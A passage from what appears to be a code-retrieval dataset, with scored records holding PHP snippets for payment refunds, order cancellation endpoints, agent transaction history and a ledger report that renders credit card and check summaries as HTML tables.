= $temp_created->getLocalDateTimeStr('Y-m-d H:i:s');\n $remittanceInfo['created_at'] = $createdAt;\n }\n }\n }\n\n $result->remittance = $remittanceInfo;\n }\n return $result;\n }\n }\n\n $this->setResponseCode(self::CODE_GET_TRANSACTION_ITEM_HISTORY_FAILED);\n return false ;\n }", "title": "" }, { "docid": "21cb9ce5be1093d3b1afbed51602cce2", "score": "0.4803372", "text": "public function cancelTransaction()\n\t{\n\t\treturn parent::rollBack();\n\t}", "title": "" }, { "docid": "8ef290b94216453daeeb87fb8104e7e0", "score": "0.48023024", "text": "function _mtr_services_linnworks_cancelendpoint($user_data) {\n\n\n watchdog(\"mtr_services_linnworks_cancelendpoint\", json_encode($user_data));\n\n /*\n $jayParsedAry = [\n \"Cancellation\" => [\n \"ReferenceNumber\" => \"91489\",\n \"ExternalReference\" => \"\",\n \"Items\" => [\n [\n \"SKU\" => \"Apple-iPhone-XS-Max-Space-Grey-Unlocked-64GB-Pristine-MAR\",\n \"OrderLineNumber\" => \"0\",\n \"CancellationQuantity\" => 1,\n \"Reason\" => \"Other\",\n \"SecondaryReason\" => \"\"\n ]\n ]\n ],\n \"AuthorizationToken\" => \"zWQsST6dklLqY0dNqlDRxCcNapv5T2pOpPma_8D_0Xw\"\n ];\n */\n try {\n $errors = [];\n $order_id = $user_data[\"Cancellation\"][\"ReferenceNumber\"];\n\n foreach ($user_data[\"Cancellation\"][\"Items\"] as $key => $cancelled_item) {\n\n // Set 4G orders to Completed\n\n $order = commerce_order_load($order_id);\n if ($order !== FALSE) {\n $order = commerce_order_status_update($order, \"refunded\");\n watchdog(\"mtr_services_cancellation\", json_encode($order));\n //$order->field_tracking_no[0]['rendered'] = $linnworks_order[\"TrackingNumber\"];\n $commerce_order = commerce_order_save($order);\n //watchdog(\"mtr_services_despatchendpoint order\", json_encode($order));\n if ($commerce_order != \"SAVED_NEW\" && $commerce_order != \"SAVED_UPDATED\") {\n $errors[] = $order_id;\n }\n }\n else {\n $errors[] = \"There is no proper Order ID\";\n watchdog(\"mtr_services_cancellation error\", \"There is no proper Order ID\");\n }\n }\n\n $orderserrors = [];\n foreach ($errors as $key => $error) {\n $orderserrors[] = [\n \"Error\" => \"Cancellation failed for some reason\",\n \"ReferenceNumber\" => $error\n ];\n }\n\n $response = [\n \"Error\" => null,\n \"Orders\" => $orderserrors\n ];\n $output = json_encoded_response($response);\n\n print $output;\n }\n catch (Exception $e) {\n watchdog(\"mtr_services_error\", $e);\n }\n\n die();\n}", "title": "" }, { "docid": "291c1f5dd5508dff8bea9ad9dd323d1a", "score": "0.47968835", "text": "function refund($transId) {\n\n $this->transType = \"REFUND\";\n $this->masterId = $transId;\n }", "title": "" }, { "docid": "20519abc0bafe4f733ef49e4d30cbfd1", "score": "0.47956112", "text": "protected function _processPreviousRequest(RemittanceCorporateService $corpServ)\n {\n $exchangeRateFilter = new ExchangeRate();\n $exchangeRateFilter->setCorporateServiceId($corpServ->getId());\n $exchangeRateFilter->setStatus(ExchangeRateStatus::PENDING);\n\n if( $info = $this->getRepository()->findByParam($exchangeRateFilter) )\n {\n //failed if there is partner panel request\n $rateCol = $info->result;\n\n if( $rateCol instanceof ExchangeRateCollection )\n {\n if( $rateCol->getByChannel(ChannelType::CODE_PARTNER_PANEL) )\n {//pending requests\n $this->setResponseCode(MessageCode::CODE_PREVIOUS_RATE_REQUEST_ACTIVE);\n return false;\n }\n else if( $rate = $rateCol->getByChannel(ChannelType::CODE_ADMIN_PANEL) )\n {//cancel the previous request\n if( $this->cancelExchangeRate($rate) )\n return true;\n else\n return false;\n }\n }\n\n $this->setResponseCode(MessageCode::CODE_GET_EXCHANGE_RATE_LIST_FAILED);\n return false;\n }\n\n //no pending request\n return true;\n }", "title": "" }, { "docid": "22aee4c6062d76dd89ed08bfd42f987c", "score": "0.4791849", "text": "public function getLastRequest()\n {\n return end($this->transactions)['request'];\n }", "title": "" }, { "docid": "ba7122d27a366567a397fe2a88bc1042", "score": "0.4787183", "text": "public function refundAction()\n {\n $type = $this->_request['type'];\n $refundId = $this->_request['event_resource']['id'];\n $this->requireRefunds();\n $refunds = new Services_Paymill_Refunds($this->_privateKey, $this->_apiUrl);\n $refund = $refunds->getOne($refundId);\n if($this->getWebhookState($type) && isset($refund['id'])){\n $this->_request['action'] = 'Refund';\n $this->updateOrderStatus();\n } else {\n $this->successAction();\n }\n }", "title": "" }, { "docid": "8e3ea781d764eab9248569525941d3d5", "score": "0.47843143", "text": "protected function _processRefund($request)\n {\n $transaction = $request->getTransaction();\n $this->_queryParams['TRXTYPE'] = self::TRXTYPE_CREDIT;\n $this->_queryParams['ORIGID'] = $transaction->getId();\n if ($transaction->getAmount()) {\n $this->_queryParams['AMT'] = $transaction->getAmount();\n }\n return $this->_sendRequest();\n }", "title": "" }, { "docid": "2ba2cfefe4b7c638e8ffd9c00557097b", "score": "0.4784297", "text": "public function rollback() {\r\n\t\t}", "title": "" }, { "docid": "5634c66e2d9172bb9535c38c35c5dd2e", "score": "0.4782753", "text": "public function afterSave()\n {\n $History = new ChildDetailsHistory();\n $History->officerId = $this->id;\n $History->attributes= $this->getAttributes();\n //print_r($History->getAttributes());\n //exit;\n $History->save(false);\n parent::afterSave();\n }", "title": "" }, { "docid": "2fac1f40b3749e96cafd001f340f5584", "score": "0.47808957", "text": "public function History_post() {\n $trace_id = $this->logid();\n $trans_id = $this->Trxid() ? $this->Trxid() : random_string('numeric', '20');\n $this->logheader($trace_id);\n \n $in_agentid = $this->input->post('agentid') ?: '';\n $in_dtm_fr = $this->input->post('date_fr') ?: '';\n $in_dtm_to = $this->input->post('date_to') ?: '';\n if(empty($in_agentid)){\n $arr_data= array(\n 'tgl' => '',\n 'nomor' => '',\n 'produk' => '',\n 'harga' => '',\n 'sn' => '', \n 'status' => ''\n );\n $arr_res = array('status' => FALSE,'error_code' => '601','message' => 'agentid isempty','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n }\n if(empty($in_dtm_fr)){\n $arr_data= array(\n 'tgl' => '',\n 'nomor' => '',\n 'produk' => '',\n 'harga' => '',\n 'sn' => '', \n 'status' => ''\n );\n $arr_res = array('status' => FALSE,'error_code' => '602','message' => 'tanggal from isempty','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n }\n if(empty($in_dtm_to)){\n $arr_data= array(\n 'tgl' => '',\n 'nomor' => '',\n 'produk' => '',\n 'harga' => '',\n 'sn' => '', \n 'status' => ''\n );\n $arr_res = array('status' => FALSE,'error_code' => '603','message' => 'tanggal to isempty','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n }\n \n $res_call_user_agent = $this->Admin_user2_model->User_by_username($in_agentid);\n $this->logAction('info', $trace_id, array(), 'Admin_user2_model->User_by_username ['.$in_agentid.']');\n if($res_call_user_agent){\n }else{\n $arr_data = array(\n 'total_transaksi' => 0,\n 'profit' => array('cash' => 0, 'debit_tabungan' => 0),\n 'total_profit' => 0,\n 'total_setoran' => 0 \n );\n $arr_res = array('status' => FALSE,'error_code' => '605','message' => 'agentid tidak terdaftar','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n }\n $res_countday = $this->Count_day($in_dtm_to, $in_dtm_fr); \n $this->logAction('info', $trace_id, array(), 'periode hari : '.$res_countday); \n if($res_countday == 0 || $res_countday > 7){ \n $arr_data= array(\n 'tgl' => '',\n 'nomor' => '',\n 'produk' => '',\n 'harga' => '',\n 'sn' => '', \n 'status' => ''\n );\n $arr_res = array('status' => FALSE,'error_code' => '606','message' => 'batas maksimal 7 hari','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n }\n \n $this->logAction('info', $trace_id, array(), 'periode hari : '.$res_countday); \n $this->logAction('info', $trace_id, array(), 'get data : Com_model->Hist_per_periode('.$in_agentid.','.$in_dtm_fr.','.$in_dtm_to.')'); \n $get_res = $this->Com_model->Hist_per_periode($in_agentid,$in_dtm_fr,$in_dtm_to);\n if($get_res){\n foreach ($get_res as $v) {\n if($v->res_code == 00){\n $msg_status = 'sucess';\n }else{\n $msg_status = 'pending';\n }\n $arr_data[]= array(\n 'tgl' => $v->dtm,\n 'nomor' => $v->msisdn,\n 'produk' => $v->nominal.'-'.$v->product,\n 'harga' => $this->Rp($v->price_selling),\n 'sn' => $v->res_sn, \n 'status' => $msg_status ?: '-'\n );\n }\n $arr_res = array('status' => TRUE,'error_code' => '600','message' => 'sukses','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n \n }else{\n $arr_data= array(\n 'tgl' => '',\n 'nomor' => '',\n 'produk' => '',\n 'harga' => '',\n 'sn' => '', \n 'status' => ''\n );\n $arr_res = array('status' => FALSE,'error_code' => '604','message' => 'data history isempty','data' =>$arr_data); \n $this->logAction('response', $trace_id, $arr_res, '');\n $this->response($arr_res);\n } \n }", "title": "" }, { "docid": "6b59242416ae3b4cc1ef55da2ae4a804", "score": "0.47805518", "text": "public function getPrevious(PropelPDO $con = null)\n {\n\n $query = IncomeQuery::create();\n\n $scope = $this->getScopeValue();\n\n $query->filterByRank($this->getSortableRank() - 1, $scope);\n\n\n return $query->findOne($con);\n }", "title": "" }, { "docid": "fdb181586f60d2e7bafbce91888c14e5", "score": "0.4780247", "text": "public function subscriptionPaymentRespRenew()\n{\n try\n {\n $reponse = $_POST;\n $paymentResponse = techprocess::paymentresponse($reponse);\n if($paymentResponse['txn_msg'] == \"success\")\n {\n $updateBillData = array(\n 'history_id'=>$paymentResponse['clnt_txn_ref'],\n 'payment'=>$paymentResponse['txn_amt'],\n 'billing_date'=>\\Carbon\\Carbon::createFromFormat('d-m-Y H:i:s', $paymentResponse['tpsl_txn_time'])->format('Y-m-d H:i:s'),\n 'bill_status'=>$paymentResponse['txn_msg'],\n 'mode'=>config::get('common.paymentMode'),\n 'current_subscription'=>config::get('common.future_sub_key'),\n ); \n }\n else if($paymentResponse['txn_msg'] == \"failure\")\n {\n $updateBillData = array(\n 'history_id'=>$paymentResponse['clnt_txn_ref'],\n 'payment'=>0.0,\n 'billing_date'=>\\Carbon\\Carbon::createFromFormat('d-m-Y H:i:s', $paymentResponse['tpsl_txn_time'])->format('Y-m-d H:i:s'),\n 'bill_status'=>$paymentResponse['txn_msg'],\n 'mode'=>config::get('common.paymentMode'),\n 'description'=>\"Payment Process Cancelled for Plan Renew.\",\n );\n }\n \n $historyID = subscriptionmodel::updateMasterDealerBilling($updateBillData);\n $paymentData = array(\n 'payment_transaction_id'=>$paymentResponse['clnt_txn_ref'],\n 'dealer_id'=>Session::get('ses_id'),\n 'txn_status'=>$paymentResponse['txn_status'],\n 'txn_msg'=>$paymentResponse['txn_msg'],\n 'txn_err_msg'=>$paymentResponse['txn_err_msg'],\n 'clnt_txn_ref'=>$paymentResponse['clnt_txn_ref'],\n 'tpsl_bank_cd'=>$paymentResponse['tpsl_bank_cd'],\n 'tpsl_txn_id'=>$paymentResponse['tpsl_txn_id'],\n 'txn_amt'=>$paymentResponse['txn_amt'],\n 'clnt_rqst_meta'=>$paymentResponse['clnt_rqst_meta'],\n 'tpsl_txn_time'=>\\Carbon\\Carbon::createFromFormat('d-m-Y H:i:s', $paymentResponse['tpsl_txn_time'])->format('Y-m-d H:i:s'),\n 'tpsl_rfnd_id'=>$paymentResponse['tpsl_rfnd_id'],\n 'rqst_token'=>$paymentResponse['rqst_token'],\n 'hash'=>$paymentResponse['hash'],\n 'bal_amt'=>$paymentResponse['bal_amt'],\n 'create_at'=>Carbon::now(),\n \n );\n $paymentId = dealerPaymentmodel::masterPaymentRespInsert($paymentData);\n \n if($paymentResponse['txn_msg'] == \"success\")\n {\n Session::flash('message', \"Payment process done. And \".config::get('common.plan_renew_success'));\n }\n else if($paymentResponse['txn_msg'] == \"failure\")\n {\n Session::flash('message-err', \"Payment process failure!!!\");\n }\nreturn redirect('managesubscription');\n}\ncatch(\\Exception $e)\n{\n throw new CustomException($e->getMessage());\n}\n}", "title": "" }, { "docid": "9785ca7871e56f7a981749e33d232a42", "score": "0.47777656", "text": "function BuyerCancelledStatus()\n {\n $user_id = $this->input->post('user_id');\n $order_id = $this->input->post('order_id');\n $status = $this->input->post('status');\n\n $this->formValidation(\"User Id\",$user_id,\"required\");\n $this->formValidation(\"Order Id\",$order_id,\"required\");\n $this->formValidation(\"Status\",$status,\"required\");\n \n $Details=$this->Api_model->OrderList(array('id'=>$order_id,'buyer_id'=>$user_id))->row();\n\n $check_now = $this->Api_model->HistoryList(array('order_id'=>$order_id,'history_type'=>'5'))->row();\n\n \n if(empty($check_now))\n {\n $data['status']=\"0\";\n $data['message']=\"Record not found\";\n }\n else\n { \n\n //$order_id = $Details->id;\n \n $buyer_id = $Details->buyer_id;\n \n $seller_id = $Details->seller_id;\n\n $orderStatus = $Details->order_status;\n \n if($status==1)\n {\n $Data=array( \n \n 'status'=>'1',\n \n 'updated_at'=>date('Y-m-d H:i:s')\n );\n\n $Cancelled=array(\n \n 'order_status'=>'7',\n \n 'cancelled_at'=>date('Y-m-d H:i:s')\n );\n\n $this->Api_model->Orders(array('id'=>$order_id),$Cancelled);\n \n if($this->Api_model->AddHistory(array('order_id'=>$order_id,'history_type'=>'5'),$Data))\n {\n $data['status']=\"1\"; \n $data['message']=\"Accepted Successfully\";\n\n $this->prepreFcm('cancelSelleraccept',array('user_id'=>$seller_id,'order_id'=>$order_id,'status'=>$orderStatus));\n }\n else\n {\n $data['status']=\"0\";\n \n $data['message']=\"Something went wrong\";\n }\n }\n \n if($status==2)\n {\n $Data=array( \n \n 'status'=>'2',\n \n 'updated_at'=>date('Y-m-d H:i:s')\n );\n \n if($this->Api_model->AddHistory(array('order_id'=>$order_id,'history_type'=>'5'),$Data))\n {\n $data['status']=\"1\";\n \n $data['message']=\"Rejected Successfully\";\n\n $this->prepreFcm('cancelSellerreject',array('user_id'=>$seller_id,'order_id'=>$order_id,'status'=>$orderStatus));\n }\n else\n {\n $data['status']=\"0\";\n \n $data['message']=\"Something went wrong\";\n }\n }\n }\n \n header( 'Content-type:application/json');\n print json_encode( $data); \n exit; \n }", "title": "" }, { "docid": "e55a6ca574cc921e101d308ed539b609", "score": "0.47772226", "text": "function get_adaptive_assessment_previous_url($total_steps);", "title": "" }, { "docid": "28627850113ceeab68173e858f887e77", "score": "0.47761786", "text": "public static function checkLastTransactionOfAccount(){\n\n }", "title": "" }, { "docid": "4e9908b6975ff8ce248ef5eb0c370079", "score": "0.47717604", "text": "function func_show_ledger_details_tsr_callcenter($str_query,$cnn_connection,$crorcq,$str_type,$str_company_id,$qrt_voice_select,$qrt_user_select)\n{\n$strReturn = \"\";\n$pending =0;\n$pendingAmt=0;\n$pendingPer=0;\n$approved=0;\n$approvedAmt=0;\n$approvedPer=0;\n$declined=0;\n$declinedAmt=0;\n$declinedPer=0;\n$canceled=0;\n$canceledAmt=0;\n$canceledPer=0;\n$totamount=0;\n$chequepending=0;\n$chequependingAmt=0;\n$chequependingPer=0;\n$chequeapproved=0;\n$chequeapprovedAmt=0;\n$chequeapprovedPer=0;\n$chequedeclined=0;\n$chequedeclinedAmt=0;\n$chequedeclinedPer=0;\n$creditpending=0;\n$creditpendingAmt=0;\n$creditpendingPer=0;\n$creditapproved=0;\n$creditapprovedAmt=0;\n$creditapprovedPer=0;\n$creditdeclined=0;\n$creditdeclinedAmt=0;\n$creditdeclinedPer=0;\n$creditcard=0;\n$cheque=0;\n$totalnum =0;\n$chequeAmt=0;\n$chequePer=0;\n$creditcardAmt=0;\n$creditcardPer=0;\n$chequecanceled=0;\n$chequecanceledAmt=0;\n$chequecanceledPer=0;\n$creditcanceled=0;\n$creditcanceledAmt=0;\n$creditcanceledPer=0;\n$deducted_amt = 0;\n$credit_count = 0;\n$cardPer = 0;\n$trans_voicefee = 0;\n$charge_back_amount =0;\n$charge_back_count = 0;\n$str_companyname = \"\";\n$i_charge_back = \"\";\n$cancel_reason =\"\";\n$i_credit = \"\";\n$i_discount_rate = \"\";\n$i_transaction_fee = \"\";\n$i_reserve = \"\";\n$voice_authcount =0;\n$i_voiceauth_amt = 0;\n$chequenonpass =0;\n$chequenonpassAmt = 0;\n$chequepass =0;\n$chequepassAmt = 0;\n$creditnonpass =0;\n$creditnonpassAmt = 0;\n$creditpass =0;\n$creditpassAmt = 0;\n$passedPer=0;\n$nonpassedPer=0;\n$chequepassedPer=0;\n$chequenonpassPer=0;\n$creditpassedPer=0;\n$creditnonpassPer=0;\n$passed=0;\n$passedAmt=0;\n$nonpassed=0;\n$nonpassedAmt=0;\n$voice_count_uploads=0;\n$i_net_Per=\"\";\n$i_amt_per_order = 0;\n$i=0;\nif($str_type != \"\")\n{\n\tif($str_type != \"A\")\n\t{\n\t\tif($str_type == \"S\"){\n\t\t\t$str_type = \"savings\";\n\t\t}else if($str_type == \"C\"){\n\t\t\t$str_type = \"checking\";\n\t\t}else if($str_type == \"M\"){\n\t\t\t$str_type = \"Master\";\n\t\t}else if($str_type == \"V\"){\n\t\t\t$str_type = \"Visa\";\n\t\t}\n\n\t}\n}\nelse\n{\n\t$str_type = \"A\";\n}\nif(!($show_user_sql = mysql_query($qrt_user_select,$cnn_connection))){\t\t\tdieLog(mysql_errno().\": \".mysql_error().\"<BR>\");\n\n}\nif(mysql_num_rows($show_user_sql)>0)\n{\n\t$i_amt_per_order = mysql_result($show_user_sql,0,0);\n\t$trans_voicefee = mysql_result($show_user_sql,0,1);\n}\n\nif(!($show_voice_sql = mysql_query($qrt_voice_select,$cnn_connection))){\t\t\tdieLog(mysql_errno().\": \".mysql_error().\"<BR>\");\n\n}\nif(!($show_sql = mysql_query($str_query,$cnn_connection))){\t\t\tdieLog(mysql_errno().\": \".mysql_error().\"<BR>\");\n\n}\n\tif(mysql_num_rows($show_voice_sql)>0)\n\t{\n\t\t$voice_count_uploads = mysql_result($show_voice_sql,0,0);\n\t}\n\t// print $voice_count_uploads;\n\t//\tprint($str_query);\n\twhile($showval = mysql_fetch_array($show_sql)) {\n\t\t $i=$i+1;\n\t\t $totalnum = $totalnum + 1;\n\t\t $trans_type = $showval[0];\n\t\t $trans_status = $showval[1];\n\t\t $trans_cancelstatus = $showval[2];\n\t\t $trans_companyName = $showval[3];\n\t\t $i_charge_back = $showval[4];\n\t\t $i_credit = $showval[5];\n\t\t $i_discount_rate = $showval[6];\n\t\t $i_transaction_fee = $showval[7];\n\t\t $i_reserve = $showval[8];\n\t\t $trans_accounttype = $showval[9];\n\t\t $trans_cardtype = $showval[10];\n\t\t $cancel_reason = $showval[11];\n\t\t $trans_passstatus = $showval[12];\n\t\t //$trans_amount = $showval[13];\n\t\t $trans_amount = $i_amt_per_order;\n\t\t //$trans_voicefee = $showval[14];\n\t\t// Check and credit card calculation.\n\t\t\n\t\tif ($trans_type ==\"C\") {\n\t\t\tif($trans_cancelstatus ==\"N\") {\n\t\t\t\tif($trans_passstatus !=\"PE\") {\n\t\t\t\t\tif($trans_passstatus == \"NP\" && $trans_status ==\"P\") {\n\t\t\t\t\t\t$chequenonpass = $chequenonpass + 1;\n\t\t\t\t\t\t$chequenonpassAmt = $chequenonpassAmt + $trans_amount;\n\t\t\t\t\t} elseif($trans_passstatus == \"PA\" && $trans_status ==\"P\") {\n\t\t\t\t\t\t$chequepass = $chequepass + 1;\n\t\t\t\t\t\t$chequepassAmt = $chequepassAmt + $trans_amount;\n\t\t\t\t\t}\n\t\t\t\t\tif($trans_status ==\"A\")\t{\n\t\t\t\t\t\t$chequeapproved = $chequeapproved + 1;\n\t\t\t\t\t\t$chequeapprovedAmt = $chequeapprovedAmt + $trans_amount;\n\t\t\t\t\t}\n\t\t\t\t\tif($trans_status ==\"D\")\t{\n\t\t\t\t\t\t$chequedeclined = $chequedeclined + 1;\n\t\t\t\t\t\t$chequedeclinedAmt = $chequedeclinedAmt + $trans_amount;\n\t\t\t\t\t}\n\t\t\t\t\t$voice_authcount = $voice_authcount + 1;\n\t\t\t\t} else {\n\t\t\t\t\t$chequepending = $chequepending + 1;\n\t\t\t\t\t$chequependingAmt = $chequependingAmt + $trans_amount;\n\t\t\t\t}\n\t\t\t}else {\n\t\t\t\t$voice_authcount = $voice_authcount + 1;\n\t\t\t\t$chequecanceled = $chequecanceled + 1;\n\t\t\t\t$chequecanceledAmt = $chequecanceledAmt + $trans_amount;\n\t\t\t\tif($cancel_reason == \"Chargeback\") {\n\t\t\t\t\t$charge_back_count = $charge_back_count + 1;\n\t\t\t\t} else {\n\t\t\t\t\t$credit_count = $credit_count + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$cheque = $cheque + 1;\n\t\t\t$chequeAmt = $chequeAmt + $trans_amount;\n\t\t} else {\n\t\t\t$creditcard = $creditcard + 1;\n\t\t\t$creditcardAmt = $creditcardAmt + $trans_amount;\n\t\t\tif($trans_cancelstatus ==\"N\") {\n\t\t\t\tif($trans_passstatus !=\"PE\") {\n\t\t\t\t\tif($trans_passstatus == \"NP\" && $trans_status ==\"P\") {\n\t\t\t\t\t\t$creditnonpass = $creditnonpass + 1;\n\t\t\t\t\t\t$creditnonpassAmt = $creditnonpassAmt + $trans_amount;\n\t\t\t\t\t} elseif($trans_passstatus == \"PA\" && $trans_status ==\"P\") {\n\t\t\t\t\t\t$creditpass = $creditpass + 1;\n\t\t\t\t\t\t$creditpassAmt = $creditpassAmt + $trans_amount;\n\t\t\t\t\t}\n\t\t\t\t\tif($trans_status ==\"A\")\t{\n\t\t\t\t\t\t$creditapproved = $creditapproved + 1;\n\t\t\t\t\t\t$creditapprovedAmt = $creditapprovedAmt + $trans_amount;\n\t\t\t\t\t}\n\t\t\t\t\tif($trans_status ==\"D\")\t{\n\t\t\t\t\t\t$creditdeclined = $creditdeclined + 1;\n\t\t\t\t\t\t$creditdeclinedAmt = $creditdeclinedAmt + $trans_amount;\n\t\t\t\t\t}\n\t\t\t\t\t$voice_authcount = $voice_authcount + 1;\n\t\t\t\t} else {\n\t\t\t\t\t$creditpending = $creditpending + 1;\n\t\t\t\t\t$creditpendingAmt = $creditpendingAmt + $trans_amount;\n\t\t\t\t}\n\t\t\t}else {\n\t\t\t\t$voice_authcount = $voice_authcount + 1;\n\t\t\t\t$creditcanceled = $creditcanceled + 1;\n\t\t\t\t$creditcanceledAmt = $creditcanceledAmt + $trans_amount;\n\t\t\t\tif($cancel_reason == \"Chargeback\") {\n\t\t\t\t\t$charge_back_count = $charge_back_count + 1;\n\t\t\t\t} else {\n\t\t\t\t\t$credit_count = $credit_count + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// Total Amount and Quantity Summary Display.\n\t\n\t$pending = $chequepending + $creditpending;\n\t$pendingAmt= $chequependingAmt + $creditpendingAmt;\n\t$passed = $chequepass + $creditpass;\n\t$passedAmt = $chequepassAmt + $creditpassAmt;\n\t$nonpassed = $chequenonpass + $creditnonpass;\n\t$nonpassedAmt = $chequenonpassAmt + $creditnonpassAmt;\n\t$approved= $chequeapproved + $creditapproved;\n\t$approvedAmt= $chequeapprovedAmt + $creditapprovedAmt;\n\t$declined= $chequedeclined + $creditdeclined;\n\t$declinedAmt= $chequedeclinedAmt + $creditdeclinedAmt;\n\t$canceled=$chequecanceled + $creditcanceled;\n\t$canceledAmt=$chequecanceledAmt + $creditcanceledAmt;\n\t$totamount = $creditcardAmt + $chequeAmt ;\n\n\t$charge_back_amount = ($charge_back_count * $i_charge_back);\n\t$credit_amount = ($credit_count * $i_credit);\n\t$decline_deduction = ($declined * $i_transaction_fee);\n\t//$nopass_deduction = ($nonpassed * $trans_voicefee);\n\t/*$i_discount_amt = (($i_discount_rate * $approvedAmt) / 100);\n\t$i_transaction_amt = ($i_transaction_fee * $totalnum);\n\t$i_reserve_amt = (($i_reserve * ($approvedAmt + $declinedAmt)) / 100);*/\n\t$i_discount_amt = 0;\n\t$i_transaction_amt = 0;\n\t$i_reserve_amt = 0;\n\t$i_voiceauth_amt = ($voice_authcount * ($trans_voicefee * 2));\n\t$i_total_voice_amt = ($voice_count_uploads * $trans_voicefee);\n\t$deducted_amt = ($charge_back_amount + $credit_amount + $i_discount_amt + $i_transaction_amt + $i_reserve_amt + $i_voiceauth_amt+$decline_deduction);\n\t$i_net_amt = ($totamount - $deducted_amt);\n//\t$i_net_Per = (($totamount - $deducted_amt)/$totamount);\n\t\tif($chequeAmt!=0) {\n\t\t $chequependingPer=number_format(($chequependingAmt/$chequeAmt)*100,2);\n\t\t $chequepassedPer=number_format(($chequepassAmt/$chequeAmt)*100,2);\n\t\t $chequenonpassPer=number_format(($chequenonpassAmt/$chequeAmt)*100,2);\n\t\t $chequeapprovedPer=number_format(($chequeapprovedAmt/$chequeAmt)*100,2);\n\t\t $chequedeclinedPer=number_format(($chequedeclinedAmt/$chequeAmt)*100,2);\n\t\t $chequecanceledPer=number_format(($chequecanceledAmt/$chequeAmt)*100,2);\n\t\t $chequePer =number_format($chequedeclinedPer + $chequeapprovedPer + $chequependingPer+$chequecanceledPer+$chequenonpassPer+$chequepassedPer,2);\n\t\t}\n\t\tif($creditcardAmt !=0) {\n\t\t $creditpendingPer=number_format(($creditpendingAmt/$creditcardAmt)*100,2);\n\t\t $creditpassedPer=number_format(($creditpassAmt/$creditcardAmt)*100,2);\n\t\t $creditnonpassPer=number_format(($creditnonpassAmt/$creditcardAmt)*100,2);\n\t\t $creditapprovedPer=number_format(($creditapprovedAmt/$creditcardAmt)*100,2);\n\t\t $creditdeclinedPer=number_format(($creditdeclinedAmt/$creditcardAmt)*100,2);\n\t\t $creditcanceledPer=number_format(($creditcanceledAmt/$creditcardAmt)*100,2);\n\t\t $creditcardPer =number_format($creditdeclinedPer + $creditapprovedPer + $creditpendingPer+$creditcanceledPer+ $creditpassedPer+ $creditnonpassPer,2);\n\t\t}\n\t\tif($totamount !=0) {\n\t\t $pendingPer=number_format(($pendingAmt/$totamount)*100,2);\n\t\t $passedPer=number_format(($passedAmt/$totamount)*100,2);\n\t\t $nonpassedPer=number_format(($nonpassedAmt/$totamount)*100,2);\n\t\t $approvedPer=number_format(($approvedAmt/$totamount)*100,2);\n\t\t $declinedPer=number_format(($declinedAmt/$totamount)*100,2);\n\t\t $canceledPer=number_format(($canceledAmt/$totamount)*100,2);\n\t\t //$voiceauthPre=number_format(($i_total_voice_amt/$totamount)*100,2); \n\t\t $voiceauthPre=\"\";\n\t\t $cardPer =number_format($declinedPer + $approvedPer + $pendingPer+$canceledPer+$passedPer+$nonpassedPer,2);\n\t\t}\n\t if($i>0)\n\t {\n\n\t\t print(\"<table width='100%' border='0'>\");\n\t\t if($str_company_id != \"A\")\n\t\t {\n\t\t\tprint(\"<tr><td align='center' colspan='3'><br><P align='center'><font face='verdana' size='2'><B>$trans_companyName</B></font><br></td></tr>\");\n\t\t }\n\t\t if($crorcq=='H' || $crorcq=='A')\n\t\t {\n\t\t\t print(\"<tr><td valign='top'><br>\");\n\t\t\t print(\"<P align='center'><font face='verdana' size='2'><B>Credit Card Summary</span><br>\");\n\t\t\t print(\"<table class='lefttopright' cellpadding='5' cellspacing='0' valign='top' bgColor='#ffffff' ID='Table1' style=' margin-left: 4; margin-top: 4; margin-bottom: 5'><tr height='30' bgcolor='#CCCCCC'>\");\n\t\t\t print(\"<td align='center' class='cl1'><span class='subhd'>Card Details</span></td>\");\t\n\t\t\t print(\"<td align='center' class='cl1'><span class='subhd'>Quantity</span></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><span class='subhd'>Amount ($)</span></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><span class='subhd'>Percentage (%)</span></td></tr><tr>\");\n\t\t\t print(\"<td align='left' class='cl1'><font face='verdana' size='1'><b>Pending</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$creditpending</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditpendingAmt,2).\"</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditpendingPer,2).\"</font></td>\");\n\n\t\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Non Pass</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$creditnonpass</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditnonpassAmt,2).\"</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditnonpassPer,2).\"</font></td>\");\n\t\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Passed</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$creditpass</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditpassAmt,2).\"</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditpassedPer,2).\"</font></td>\");\n\n\t\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Approved</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$creditapproved</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditapprovedAmt,2).\"</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditapprovedPer,2).\"</font></td>\");\n\t\t\t print(\"</tr><tr><td align='left' 